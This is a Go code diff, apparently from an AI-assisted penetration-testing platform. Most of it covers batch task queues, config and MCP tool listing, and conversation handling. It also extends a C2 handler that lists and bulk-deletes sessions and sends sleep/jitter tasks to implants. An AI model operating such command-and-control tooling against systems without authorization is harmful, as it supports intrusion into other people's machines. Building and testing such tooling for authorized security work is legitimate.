+		if err := m.db.PrepareBatchSingleTaskRun(queueID, taskID, taskIndex, needsReset, resumeQueue); err != nil {
+			return fmt.Errorf("准备单条执行失败: %w", err)
+		}
+	}
+
+	if needsReset {
+		task.Status = BatchTaskStatusPending
+		task.ConversationID = ""
+		task.StartedAt = nil
+		task.CompletedAt = nil
+		task.Error = ""
+		task.Result = ""
+	}
+	queue.CurrentIndex = taskIndex
+	queue.LastRunError = ""
+	if resumeQueue {
+		queue.Status = BatchQueueStatusPaused
+		queue.CompletedAt = nil
+	}
+
+	return nil
+}
+
+// SetSingleRunTask 标记队列仅执行指定子任务，完成后自动暂停
+func (m *BatchTaskManager) SetSingleRunTask(queueID, taskID string) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.singleRunTasks == nil {
+		m.singleRunTasks = make(map[string]string)
+	}
+	m.singleRunTasks[queueID] = taskID
+}
+
+// ClearSingleRunTask 清除单条执行标记
+func (m *BatchTaskManager) ClearSingleRunTask(queueID string) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	delete(m.singleRunTasks, queueID)
+}
+
+// TakeSingleRunTaskIfMatch 若刚完成的子任务为单条执行目标，则清除标记并返回 true
+func (m *BatchTaskManager) TakeSingleRunTaskIfMatch(queueID, taskID string) bool {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.singleRunTasks == nil {
+		return false
+	}
+	if m.singleRunTasks[queueID] != taskID {
+		return false
+	}
+	delete(m.singleRunTasks, queueID)
+	return true
+}
+
 // DeleteTask 删除任务（队列空闲时可删；执行中任务不可删）
 func (m *BatchTaskManager) DeleteTask(queueID, taskID string) error {
 	m.mu.Lock()
@@ -936,6 +1070,25 @@ func queueAllowsTaskListMutationLocked(queue *BatchTaskQueue) bool {
 	}
 }
 
+// queueAllowsSingleTaskRunLocked 是否允许对指定子任务发起单条执行（必须在持有 BatchTaskManager.mu 下调用）
+func queueAllowsSingleTaskRunLocked(queue *BatchTaskQueue, task *BatchTask) bool {
+	if queue == nil || task == nil {
+		return false
+	}
+	if task.Status == BatchTaskStatusRunning {
+		return false
+	}
+	if queue.Status == BatchQueueStatusRunning {
+		return false
+	}
+	switch queue.Status {
+	case BatchQueueStatusPending, BatchQueueStatusPaused, BatchQueueStatusCompleted, BatchQueueStatusCancelled:
+		return true
+	default:
+		return false
+	}
+}
+
 // GetNextTask 获取下一个待执行的任务
 func (m *BatchTaskManager) GetNextTask(queueID string) (*BatchTask, bool) {
 	m.mu.Lock()

internal/handler/c2.go

@@ -1,6 +1,7 @@
 package handler
 
 import (
+	"database/sql"
 	"encoding/json"
 	"errors"
 	"fmt"
@@ -277,6 +278,9 @@ func (h *C2Handler) ListSessions(c *gin.Context) {
 			filter.Limit = n
 		}
 	}
+	if c.Query("suspicious") == "1" || strings.EqualFold(c.Query("suspicious"), "true") {
+		filter.Suspicious = true
+	}
 
 	sessions, err := h.mgr().DB().ListC2Sessions(filter)
 	if err != nil {
@@ -324,7 +328,37 @@ func (h *C2Handler) DeleteSession(c *gin.Context) {
 	c.JSON(http.StatusOK, gin.H{"deleted": true})
 }
 
-// SetSessionSleep 设置会话的 sleep/jitter
+// DeleteSessions 批量删除会话（请求体 JSON: {"ids":["s_xxx",...]}）
+func (h *C2Handler) DeleteSessions(c *gin.Context) {
+	var req struct {
+		IDs []string `json:"ids"`
+	}
+	if err := c.ShouldBindJSON(&req); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "invalid json: " + err.Error()})
+		return
+	}
+	if len(req.IDs) == 0 {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "ids is required"})
+		return
+	}
+	n, err := h.mgr().DB().DeleteC2SessionsByIDs(req.IDs)
+	if err != nil {
+		if errors.Is(err, database.ErrNoValidC2SessionIDs) {
+			c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+			return
+		}
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if h.audit != nil {
+		h.audit.RecordOK(c, "c2", "session_delete", "批量删除 C2 会话", "c2_session", "", map[string]interface{}{
+			"count": n, "ids": req.IDs,
+		})
+	}
+	c.JSON(http.StatusOK, gin.H{"deleted": n})
+}
+
+// SetSessionSleep 设置会话的 sleep/jitter，并下发 sleep 任务到植入体
 func (h *C2Handler) SetSessionSleep(c *gin.Context) {
 	id := c.Param("id")
 	var req struct {
@@ -335,12 +369,33 @@ func (h *C2Handler) SetSessionSleep(c *gin.Context) {
 		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
 		return
 	}
+	if req.SleepSeconds < 1 {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "sleep_seconds must be >= 1"})
+		return
+	}
+	if req.JitterPercent < 0 || req.JitterPercent > 100 {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "jitter_percent must be 0-100"})
+		return
+	}
 
-	if err := h.mgr().DB().SetC2SessionSleep(id, req.SleepSeconds, req.JitterPercent); err != nil {
+	task, err := h.mgr().SetSessionSleep(id, req.SleepSeconds, req.JitterPercent)
+	if err != nil {
+		if errors.Is(err, sql.ErrNoRows) {
+			c.JSON(http.StatusNotFound, gin.H{"error": "session not found"})
+			return
+		}
 		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
 		return
 	}
-	c.JSON(http.StatusOK, gin.H{"updated": true})
+	out := gin.H{
+		"updated":        true,
+		"sleep_seconds":  req.SleepSeconds,
+		"jitter_percent": req.JitterPercent,
+	}
+	if task != nil {
+		out["task_id"] = task.ID
+	}
+	c.JSON(http.StatusOK, out)
 }
 
 // ============================================================================

internal/handler/config.go

@@ -298,7 +298,7 @@ func (h *ConfigHandler) GetConfig(c *gin.Context) {
 		}
 	}
 
-	// 获取外部MCP工具
+	// 获取外部MCP工具（走缓存，持锁期间通常不阻塞）
 	if h.externalMCPMgr != nil {
 		ctx := context.Background()
 		externalTools := h.getExternalMCPTools(ctx)
@@ -359,9 +359,6 @@ type GetToolsResponse struct {
 
 // GetTools 获取工具列表（支持分页和搜索）
 func (h *ConfigHandler) GetTools(c *gin.Context) {
-	h.mu.RLock()
-	defer h.mu.RUnlock()
-
 	c.Header("Cache-Control", "no-store, no-cache, must-revalidate")
 
 	// 解析分页参数
@@ -407,12 +404,37 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 		}
 	}
 
+	includeExternal := true
+	if v := strings.TrimSpace(strings.ToLower(c.Query("include_external"))); v == "0" || v == "false" || v == "no" {
+		includeExternal = false
+	}
+	refreshExternal := false
+	if v := strings.TrimSpace(strings.ToLower(c.Query("refresh_external"))); v == "1" || v == "true" || v == "yes" {
+		refreshExternal = true
+	}
+
+	// 按外部 MCP 名称筛选（MCP 管理页左侧卡片 → 右侧工具列表联动）
+	externalMCPFilter := strings.TrimSpace(c.Query("external_mcp"))
+
+	// 快照配置后立即释放锁，避免外部 MCP 网络 IO 阻塞整个配置子系统
+	h.mu.RLock()
+	securityTools := append([]config.ToolConfig(nil), h.config.Security.Tools...)
+	roles := h.config.Roles
+	toolDescriptionMode := h.config.Security.ToolDescriptionMode
+	mcpServer := h.mcpServer
+	externalMCPMgr := h.externalMCPMgr
+	h.mu.RUnlock()
+
+	pickDesc := func(shortDesc, fullDesc string) string {
+		return pickToolDescriptionWithMode(toolDescriptionMode, shortDesc, fullDesc)
+	}
+
 	// 解析角色参数，用于过滤工具并标注启用状态
 	roleName := c.Query("role")
 	var roleToolsSet map[string]bool // 角色配置的工具集合
 	var roleUsesAllTools bool = true // 角色是否使用所有工具（默认角色）
-	if roleName != "" && roleName != "默认" && h.config.Roles != nil {
+	if roleName != "" && roleName != "默认" && roles != nil {
-		if role, exists := h.config.Roles[roleName]; exists && role.Enabled {
+		if role, exists := roles[roleName]; exists && role.Enabled {
 			if len(role.Tools) > 0 {
 				// 角色配置了工具列表，只使用这些工具
 				roleToolsSet = make(map[string]bool)
@@ -426,12 +448,12 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 
 	// 获取所有内部工具并应用搜索过滤
 	configToolMap := make(map[string]bool)
-	allTools := make([]ToolConfigInfo, 0, len(h.config.Security.Tools))
+	allTools := make([]ToolConfigInfo, 0, len(securityTools))
-	for _, tool := range h.config.Security.Tools {
+	for _, tool := range securityTools {
 		configToolMap[tool.Name] = true
 		toolInfo := ToolConfigInfo{
 			Name:        tool.Name,
-			Description: h.pickToolDescription(tool.ShortDescription, tool.Description),
+			Description: pickDesc(tool.ShortDescription, tool.Description),
 			Enabled:     tool.Enabled,
 			IsExternal:  false,
 		}
@@ -479,15 +501,15 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 	}
 
 	// 从MCP服务器获取所有已注册的工具（包括直接注册的工具，如知识检索工具）
-	if h.mcpServer != nil {
+	if mcpServer != nil {
-		mcpTools := h.mcpServer.GetAllTools()
+		mcpTools := mcpServer.GetAllTools()
 		for _, mcpTool := range mcpTools {
 			// 跳过已经在配置文件中的工具（避免重复）
 			if configToolMap[mcpTool.Name] {
 				continue
 			}
 
-			description := h.pickToolDescription(mcpTool.ShortDescription, mcpTool.Description)
+			description := pickDesc(mcpTool.ShortDescription, mcpTool.Description)
 
 			toolInfo := ToolConfigInfo{
 				Name:        mcpTool.Name,
@@ -534,11 +556,13 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 		}
 	}
 
-	// 获取外部MCP工具
+	// 获取外部MCP工具（可走缓存，不持有 config 锁）
-	if h.externalMCPMgr != nil {
+	if includeExternal && externalMCPMgr != nil {
-		// 创建context用于获取外部工具
+		if refreshExternal {
+			externalMCPMgr.InvalidateAllToolCaches()
+		}
 		ctx := context.Background()
-		externalTools := h.getExternalMCPTools(ctx)
+		externalTools := h.getExternalMCPToolsWithManager(ctx, externalMCPMgr, pickDesc)
 
 		// 应用搜索过滤和角色配置
 		for _, toolInfo := range externalTools {
@@ -585,6 +609,16 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 	// 注意：这里我们不直接过滤掉工具，而是保留所有工具，但通过 role_enabled 字段标注状态
 	// 这样前端可以显示所有工具，并标注哪些工具在当前角色中可用
 
+	if externalMCPFilter != "" {
+		filtered := make([]ToolConfigInfo, 0)
+		for _, tool := range allTools {
+			if tool.IsExternal && tool.ExternalMCP == externalMCPFilter {
+				filtered = append(filtered, tool)
+			}
+		}
+		allTools = filtered
+	}
+
 	// 统一按名称排序后再分页，避免配置文件中顺序导致「全部」与「仅已启用」前几页看起来完全一致
 	sort.SliceStable(allTools, func(i, j int) bool {
 		key := func(t ToolConfigInfo) string {
@@ -654,11 +688,9 @@ type UpdateConfigRequest struct {
 // AgentConfigUpdate 用于 PATCH /api/config 的 agent 段：仅 JSON 中出现的字段（指针非 nil）覆盖内存配置。
 // 避免旧版「整包替换 *AgentConfig」时，未传的整型字段被反序列化为 0 误覆盖（例如 tool_timeout_minutes 变成 0）。
 type AgentConfigUpdate struct {
-	MaxIterations        *int    `json:"max_iterations,omitempty"`
+	MaxIterations      *int    `json:"max_iterations,omitempty"`
-	LargeResultThreshold *int    `json:"large_result_threshold,omitempty"`
+	ToolTimeoutMinutes *int    `json:"tool_timeout_minutes,omitempty"`
-	ResultStorageDir     *string `json:"result_storage_dir,omitempty"`
+	SystemPromptPath   *string `json:"system_prompt_path,omitempty"`
-	ToolTimeoutMinutes   *int    `json:"tool_timeout_minutes,omitempty"`
-	SystemPromptPath     *string `json:"system_prompt_path,omitempty"`
 }
 
 func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) {
@@ -668,12 +700,6 @@ func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) {
 	if src.MaxIterations != nil {
 		dst.MaxIterations = *src.MaxIterations
 	}
-	if src.LargeResultThreshold != nil {
-		dst.LargeResultThreshold = *src.LargeResultThreshold
-	}
-	if src.ResultStorageDir != nil {
-		dst.ResultStorageDir = *src.ResultStorageDir
-	}
 	if src.ToolTimeoutMinutes != nil {
 		dst.ToolTimeoutMinutes = *src.ToolTimeoutMinutes
 	}
@@ -1042,6 +1068,80 @@ func (h *ConfigHandler) TestOpenAI(c *gin.Context) {
 	})
 }
 
+// ListModelsRequest 获取模型列表请求（OpenAI 兼容 GET /models）。
+type ListModelsRequest struct {
+	Provider string `json:"provider"`
+	BaseURL  string `json:"base_url"`
+	APIKey   string `json:"api_key"`
+}
+
+// ListModels 代理调用上游 GET /models，返回可用模型 id 列表。
+func (h *ConfigHandler) ListModels(c *gin.Context) {
+	var req ListModelsRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "无效的请求参数: " + err.Error()})
+		return
+	}
+
+	provider := strings.TrimSpace(req.Provider)
+	if provider == "" {
+		provider = "openai"
+	}
+	if strings.EqualFold(provider, "claude") {
+		c.JSON(http.StatusOK, gin.H{
+			"success":   false,
+			"supported": false,
+			"error":     "Claude (Anthropic Messages API) 不支持自动获取模型列表，请手动填写",
+		})
+		return
+	}
+
+	if strings.TrimSpace(req.APIKey) == "" {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "API Key 不能为空"})
+		return
+	}
+
+	baseURL := strings.TrimSuffix(strings.TrimSpace(req.BaseURL), "/")
+	if baseURL == "" {
+		baseURL = "https://api.openai.com/v1"
+	}
+
+	tmpCfg := &config.OpenAIConfig{
+		Provider: provider,
+		BaseURL:  baseURL,
+		APIKey:   strings.TrimSpace(req.APIKey),
+	}
+	client := openai.NewClient(tmpCfg, nil, h.logger)
+
+	ctx, cancel := context.WithTimeout(c.Request.Context(), 30*time.Second)
+	defer cancel()
+
+	models, err := client.ListModels(ctx)
+	if err != nil {
+		if apiErr, ok := err.(*openai.APIError); ok {
+			c.JSON(http.StatusOK, gin.H{
+				"success":   false,
+				"supported": true,
+				"error":     fmt.Sprintf("API 返回错误 (HTTP %d): %s", apiErr.StatusCode, apiErr.Body),
+			})
+			return
+		}
+		c.JSON(http.StatusOK, gin.H{
+			"success":   false,
+			"supported": true,
+			"error":     err.Error(),
+		})
+		return
+	}
+
+	c.JSON(http.StatusOK, gin.H{
+		"success":   true,
+		"supported": true,
+		"models":    models,
+		"count":     len(models),
+	})
+}
+
 // TestVisionRequest 测试 Vision 模型连接；vision.api_key/base_url 留空时可传 openai 段作回退。
 type TestVisionRequest struct {
 	Vision config.VisionConfig `json:"vision"`
@@ -1498,8 +1598,6 @@ func updateAgentConfig(doc *yaml.Node, agent config.AgentConfig) {
 	agentNode := ensureMap(root, "agent")
 	setIntInMap(agentNode, "max_iterations", agent.MaxIterations)
 	setIntInMap(agentNode, "tool_timeout_minutes", agent.ToolTimeoutMinutes)
-	setIntInMap(agentNode, "large_result_threshold", agent.LargeResultThreshold)
-	setStringInMap(agentNode, "result_storage_dir", agent.ResultStorageDir)
 	setStringInMap(agentNode, "system_prompt_path", agent.SystemPromptPath)
 }
 
@@ -1906,50 +2004,52 @@ func setFloatInMap(mapNode *yaml.Node, key string, value float64) {
 }
 
 // getExternalMCPTools 获取外部MCP工具列表（公共方法）
-// 返回 ToolConfigInfo 列表，已处理启用状态和描述信息
 func (h *ConfigHandler) getExternalMCPTools(ctx context.Context) []ToolConfigInfo {
-	var result []ToolConfigInfo
-
 	if h.externalMCPMgr == nil {
+		return nil
+	}
+	return h.getExternalMCPToolsWithManager(ctx, h.externalMCPMgr, h.pickToolDescription)
+}
+
+// getExternalMCPToolsWithManager 获取外部 MCP 工具（不持有 config 锁，供 GetTools 等热路径使用）
+func (h *ConfigHandler) getExternalMCPToolsWithManager(
+	ctx context.Context,
+	mgr *mcp.ExternalMCPManager,
+	pickDesc func(shortDesc, fullDesc string) string,
+) []ToolConfigInfo {
+	var result []ToolConfigInfo
+	if mgr == nil {
 		return result
 	}
 
-	// 使用较短的超时时间（5秒）进行快速失败，避免阻塞页面加载
 	timeoutCtx, cancel := context.WithTimeout(ctx, 5*time.Second)
 	defer cancel()
 
-	externalTools, err := h.externalMCPMgr.GetAllTools(timeoutCtx)
+	externalTools, err := mgr.GetAllTools(timeoutCtx)
 	if err != nil {
-		// 记录警告但不阻塞，继续返回已缓存的工具（如果有）
 		h.logger.Warn("获取外部MCP工具失败（可能连接断开），尝试返回缓存的工具",
 			zap.Error(err),
 			zap.String("hint", "如果外部MCP工具未显示，请检查连接状态或点击刷新按钮"),
 		)
 	}
 
-	// 如果获取到了工具（即使有错误），继续处理
 	if len(externalTools) == 0 {
 		return result
 	}
 
-	externalMCPConfigs := h.externalMCPMgr.GetConfigs()
+	externalMCPConfigs := mgr.GetConfigs()
 
 	for _, externalTool := range externalTools {
-		// 解析工具名称：mcpName::toolName
 		mcpName, actualToolName := h.parseExternalToolName(externalTool.Name)
 		if mcpName == "" || actualToolName == "" {
-			continue // 跳过格式不正确的工具
+			continue
 		}
 
-		// 计算启用状态
+		enabled := h.calculateExternalToolEnabledWithManager(mcpName, actualToolName, externalMCPConfigs, mgr)
-		enabled := h.calculateExternalToolEnabled(mcpName, actualToolName, externalMCPConfigs)
-
-		// 处理描述信息
-		description := h.pickToolDescription(externalTool.ShortDescription, externalTool.Description)
 
 		result = append(result, ToolConfigInfo{
 			Name:        actualToolName,
-			Description: description,
+			Description: pickDesc(externalTool.ShortDescription, externalTool.Description),
 			Enabled:     enabled,
 			IsExternal:  true,
 			ExternalMCP: mcpName,
@@ -1970,40 +2070,48 @@ func (h *ConfigHandler) parseExternalToolName(fullName string) (mcpName, toolNam
 
 // calculateExternalToolEnabled 计算外部工具的启用状态
 func (h *ConfigHandler) calculateExternalToolEnabled(mcpName, toolName string, configs map[string]config.ExternalMCPServerConfig) bool {
+	return h.calculateExternalToolEnabledWithManager(mcpName, toolName, configs, h.externalMCPMgr)
+}
+
+func (h *ConfigHandler) calculateExternalToolEnabledWithManager(
+	mcpName, toolName string,
+	configs map[string]config.ExternalMCPServerConfig,
+	mgr *mcp.ExternalMCPManager,
+) bool {
 	cfg, exists := configs[mcpName]
 	if !exists {
 		return false
 	}
 
-	// 首先检查外部MCP是否启用
 	if !cfg.ExternalMCPEnable {
-		return false // MCP未启用，所有工具都禁用
+		return false
 	}
 
-	// MCP已启用，检查单个工具的启用状态
+	if cfg.ToolEnabled != nil {
-	// 如果ToolEnabled为空或未设置该工具，默认为启用（向后兼容）
+		if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists && !toolEnabled {
-	if cfg.ToolEnabled == nil {
-		// 未设置工具状态，默认为启用
-	} else if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists {
-		// 使用配置的工具状态
-		if !toolEnabled {
 			return false
 		}
 	}
-	// 工具未在配置中，默认为启用
 
-	// 最后检查外部MCP是否已连接
+	if mgr == nil {
-	client, exists := h.externalMCPMgr.GetClient(mcpName)
+		return false
+	}
+	client, exists := mgr.GetClient(mcpName)
 	if !exists || !client.IsConnected() {
-		return false // 未连接时视为禁用
+		return false
 	}
 
 	return true
 }
 
-// pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度
+// pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度。
+// 调用方若已持有 h.mu 读锁，须直接读 mode 并调用 pickToolDescriptionWithMode，避免嵌套 RLock 死锁。
 func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
-	useFull := strings.TrimSpace(strings.ToLower(h.config.Security.ToolDescriptionMode)) == "full"
+	return pickToolDescriptionWithMode(h.config.Security.ToolDescriptionMode, shortDesc, fullDesc)
+}
+
+func pickToolDescriptionWithMode(mode, shortDesc, fullDesc string) string {
+	useFull := strings.TrimSpace(strings.ToLower(mode)) == "full"
 	description := shortDesc
 	if useFull {
 		description = fullDesc
@@ -2018,23 +2126,22 @@ func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
 
 // GetToolSchema 获取单个工具的 inputSchema（按需加载，避免列表接口返回大量 schema 数据）
 func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
-	h.mu.RLock()
-	defer h.mu.RUnlock()
-
 	toolName := c.Param("name")
 	if toolName == "" {
 		c.JSON(http.StatusBadRequest, gin.H{"error": "工具名称不能为空"})
 		return
 	}
 
-	// 检查是否为外部工具（格式：mcpName::toolName）
 	externalMCP := c.Query("external_mcp")
 	if externalMCP != "" {
-		// 外部 MCP 工具
+		h.mu.RLock()
-		if h.externalMCPMgr != nil {
+		externalMCPMgr := h.externalMCPMgr
+		h.mu.RUnlock()
+
+		if externalMCPMgr != nil {
 			ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
 			defer cancel()
-			externalTools, _ := h.externalMCPMgr.GetAllTools(ctx)
+			externalTools, _ := externalMCPMgr.GetAllTools(ctx)
 			fullName := externalMCP + "::" + toolName
 			for _, t := range externalTools {
 				if t.Name == fullName {
@@ -2047,8 +2154,12 @@ func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
 		return
 	}
 
-	// 内部工具：从 YAML 配置的 Parameters 构建
+	h.mu.RLock()
-	for _, tool := range h.config.Security.Tools {
+	securityTools := append([]config.ToolConfig(nil), h.config.Security.Tools...)
+	mcpServer := h.mcpServer
+	h.mu.RUnlock()
+
+	for _, tool := range securityTools {
 		if tool.Name == toolName {
 			c.JSON(http.StatusOK, gin.H{"input_schema": buildInputSchemaFromParams(tool.Parameters)})
 			return
@@ -2056,8 +2167,8 @@ func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
 	}
 
 	// MCP 注册工具（如知识检索）
-	if h.mcpServer != nil {
+	if mcpServer != nil {
-		for _, mt := range h.mcpServer.GetAllTools() {
+		for _, mt := range mcpServer.GetAllTools() {
 			if mt.Name == toolName {
 				c.JSON(http.StatusOK, gin.H{"input_schema": mt.InputSchema})
 				return

internal/handler/conversation.go

@@ -12,11 +12,17 @@ import (
 	"go.uber.org/zap"
 )
 
+// ConversationTaskStopper cancels in-flight agent work when a conversation is removed.
+type ConversationTaskStopper interface {
+	CancelRunningTaskForConversation(conversationID string)
+}
+
 // ConversationHandler 对话处理器
 type ConversationHandler struct {
-	db     *database.DB
+	db          *database.DB
-	logger *zap.Logger
+	logger      *zap.Logger
-	audit  *audit.Service
+	audit       *audit.Service
+	taskStopper ConversationTaskStopper
 }
 
 // SetAudit wires platform audit logging.
@@ -24,6 +30,11 @@ func (h *ConversationHandler) SetAudit(s *audit.Service) {
 	h.audit = s
 }
 
+// SetTaskStopper wires cancellation of in-flight agent tasks on conversation delete.
+func (h *ConversationHandler) SetTaskStopper(stopper ConversationTaskStopper) {
+	h.taskStopper = stopper
+}
+
 // NewConversationHandler 创建新的对话处理器
 func NewConversationHandler(db *database.DB, logger *zap.Logger) *ConversationHandler {
 	return &ConversationHandler{
@@ -105,17 +116,18 @@ func (h *ConversationHandler) ListConversations(c *gin.Context) {
 
 	excludeGrouped := strings.TrimSpace(search) == "" &&
 		(c.Query("exclude_grouped") == "true" || c.Query("exclude_grouped") == "1")
+	sortBy := strings.TrimSpace(c.Query("sort_by"))
 
 	var conversations []*database.Conversation
 	var total int
 	var err error
 	if excludeGrouped {
-		conversations, err = h.db.ListUngroupedConversations(limit, offset)
+		conversations, err = h.db.ListUngroupedConversations(limit, offset, sortBy)
 		if err == nil {
 			total, err = h.db.CountUngroupedConversations()
 		}
 	} else {
-		conversations, err = h.db.ListConversations(limit, offset, search)
+		conversations, err = h.db.ListConversations(limit, offset, search, sortBy)
 		if err == nil {
 			total, err = h.db.CountConversations(search)
 		}
@@ -164,6 +176,9 @@ func (h *ConversationHandler) GetConversation(c *gin.Context) {
 }
 
 // GetMessageProcessDetails 获取指定消息的过程详情（按需加载）
+// 查询参数：
+//   - summary=1：仅返回摘要（total / iterationCount / maxIteration）
+//   - limit + offset：分页返回 processDetails（未指定 limit 时保持全量兼容）
 func (h *ConversationHandler) GetMessageProcessDetails(c *gin.Context) {
 	messageID := c.Param("id")
 	if messageID == "" {
@@ -171,6 +186,51 @@ func (h *ConversationHandler) GetMessageProcessDetails(c *gin.Context) {
 		return
 	}
 
+	summaryStr := strings.TrimSpace(c.Query("summary"))
+	if summaryStr == "1" || strings.EqualFold(summaryStr, "true") || strings.EqualFold(summaryStr, "yes") {
+		summary, err := h.db.GetProcessDetailsSummary(messageID)
+		if err != nil {
+			h.logger.Error("获取过程详情摘要失败", zap.Error(err))
+			c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+			return
+		}
+		c.JSON(http.StatusOK, gin.H{"summary": summary})
+		return
+	}
+
+	limitStr := strings.TrimSpace(c.Query("limit"))
+	if limitStr != "" {
+		limit, err := strconv.Atoi(limitStr)
+		if err != nil || limit <= 0 {
+			c.JSON(http.StatusBadRequest, gin.H{"error": "invalid limit"})
+			return
+		}
+		if limit > 500 {
+			limit = 500
+		}
+		offset, _ := strconv.Atoi(strings.TrimSpace(c.Query("offset")))
+		if offset < 0 {
+			offset = 0
+		}
+
+		details, total, err := h.db.GetProcessDetailsPage(messageID, limit, offset)
+		if err != nil {
+			h.logger.Error("分页获取过程详情失败", zap.Error(err))
+			c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+			return
+		}
+		details = database.DedupeConsecutiveProcessDetails(details)
+		out := processDetailsToJSON(h.logger, details)
+		c.JSON(http.StatusOK, gin.H{
+			"processDetails": out,
+			"total":          total,
+			"offset":         offset,
+			"limit":          limit,
+			"hasMore":        offset+len(out) < total,
+		})
+		return
+	}
+
 	details, err := h.db.GetProcessDetails(messageID)
 	if err != nil {
 		h.logger.Error("获取过程详情失败", zap.Error(err))
@@ -179,14 +239,17 @@ func (h *ConversationHandler) GetMessageProcessDetails(c *gin.Context) {
 	}
 
 	details = database.DedupeConsecutiveProcessDetails(details)
+	out := processDetailsToJSON(h.logger, details)
+	c.JSON(http.StatusOK, gin.H{"processDetails": out, "total": len(out)})
+}
 
-	// 转换为前端期望的 JSON 结构（与 GetConversation 中 processDetails 结构一致）
+func processDetailsToJSON(logger *zap.Logger, details []database.ProcessDetail) []map[string]interface{} {
 	out := make([]map[string]interface{}, 0, len(details))
 	for _, d := range details {
 		var data interface{}
 		if d.Data != "" {
 			if err := json.Unmarshal([]byte(d.Data), &data); err != nil {
-				h.logger.Warn("解析过程详情数据失败", zap.Error(err))
+				logger.Warn("解析过程详情数据失败", zap.Error(err))
 			}
 		}
 		out = append(out, map[string]interface{}{
@@ -199,8 +262,7 @@ func (h *ConversationHandler) GetMessageProcessDetails(c *gin.Context) {
 			"createdAt":      d.CreatedAt,
 		})
 	}
-
+	return out
-	c.JSON(http.StatusOK, gin.H{"processDetails": out})
 }
 
 // UpdateConversationRequest 更新对话请求
@@ -244,6 +306,10 @@ func (h *ConversationHandler) UpdateConversation(c *gin.Context) {
 func (h *ConversationHandler) DeleteConversation(c *gin.Context) {
 	id := c.Param("id")
 
+	if h.taskStopper != nil {
+		h.taskStopper.CancelRunningTaskForConversation(id)
+	}
+
 	if err := h.db.DeleteConversation(id); err != nil {
 		h.logger.Error("删除对话失败", zap.Error(err))
 		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})

internal/handler/conversation_delete_task_test.go

@@ -0,0 +1,30 @@
+package handler
+
+import (
+	"context"
+	"testing"
+	"time"
+
+	"go.uber.org/zap"
+)
+
+func TestConversationHandlerDeleteConversationCancelsRunningTask(t *testing.T) {
+	tm := NewAgentTaskManager()
+	ctx, cancel := context.WithCancelCause(context.Background())
+	_, err := tm.StartTask("conv-1", "hello", cancel)
+	if err != nil {
+		t.Fatalf("StartTask: %v", err)
+	}
+
+	h := &AgentHandler{tasks: tm, logger: zap.NewNop()}
+	h.CancelRunningTaskForConversation("conv-1")
+
+	select {
+	case <-ctx.Done():
+	case <-time.After(2 * time.Second):
+		t.Fatal("task context was not cancelled")
+	}
+	if cause := context.Cause(ctx); cause != ErrTaskCancelled {
+		t.Fatalf("expected ErrTaskCancelled, got %v", cause)
+	}
+}

internal/handler/eino_resume_segment.go

@@ -2,29 +2,11 @@ package handler
 
 import (
 	"context"
-	"errors"
-	"fmt"
-	"strings"
-	"time"
 
 	"cyberstrike-ai/internal/agent"
 	"cyberstrike-ai/internal/multiagent"
 )
 
-func (h *AgentHandler) einoRunRetryMaxAttempts() int {
-	if h.config != nil {
-		return multiagent.RunRetryMaxAttemptsFromConfig(&h.config.MultiAgent.EinoMiddleware)
-	}
-	return multiagent.RunRetryMaxAttemptsFromConfig(nil)
-}
-
-func (h *AgentHandler) einoRunRetryMaxBackoffSec() int {
-	if h.config != nil && h.config.MultiAgent.EinoMiddleware.RunRetryMaxBackoffSec > 0 {
-		return h.config.MultiAgent.EinoMiddleware.RunRetryMaxBackoffSec
-	}
-	return 0
-}
-
 // applyEinoTraceResumeSegment 中断并继续：persist last_react_* → loadHistory，可选替换下一段 user 文案。
 func (h *AgentHandler) applyEinoTraceResumeSegment(
 	conversationID string,
@@ -43,80 +25,3 @@ func (h *AgentHandler) applyEinoTraceResumeSegment(
 		*curFinalMessage = segmentUserMessage
 	}
 }
-
-// applyEinoTransientRetrySegment 临时错误重试：恢复轨迹并保留本请求原始 user 文案（不注入续跑说明）。
-// segmentUserMessage 为本轮 HTTP 请求开始时用户发送的内容，避免因清空 finalMessage 而丢失「你好」等短句。
-func (h *AgentHandler) applyEinoTransientRetrySegment(
-	conversationID string,
-	result *multiagent.RunResult,
-	curHistory *[]agent.ChatMessage,
-	curFinalMessage *string,
-	segmentUserMessage string,
-) {
-	if shouldPersistEinoAgentTraceAfterRunError(context.Background()) {
-		h.persistEinoAgentTraceForResume(conversationID, result)
-	}
-	if hist, err := h.loadHistoryFromAgentTrace(conversationID); err == nil && len(hist) > 0 {
-		*curHistory = hist
-	}
-	if s := strings.TrimSpace(segmentUserMessage); s != "" {
-		*curFinalMessage = segmentUserMessage
-	}
-}
-
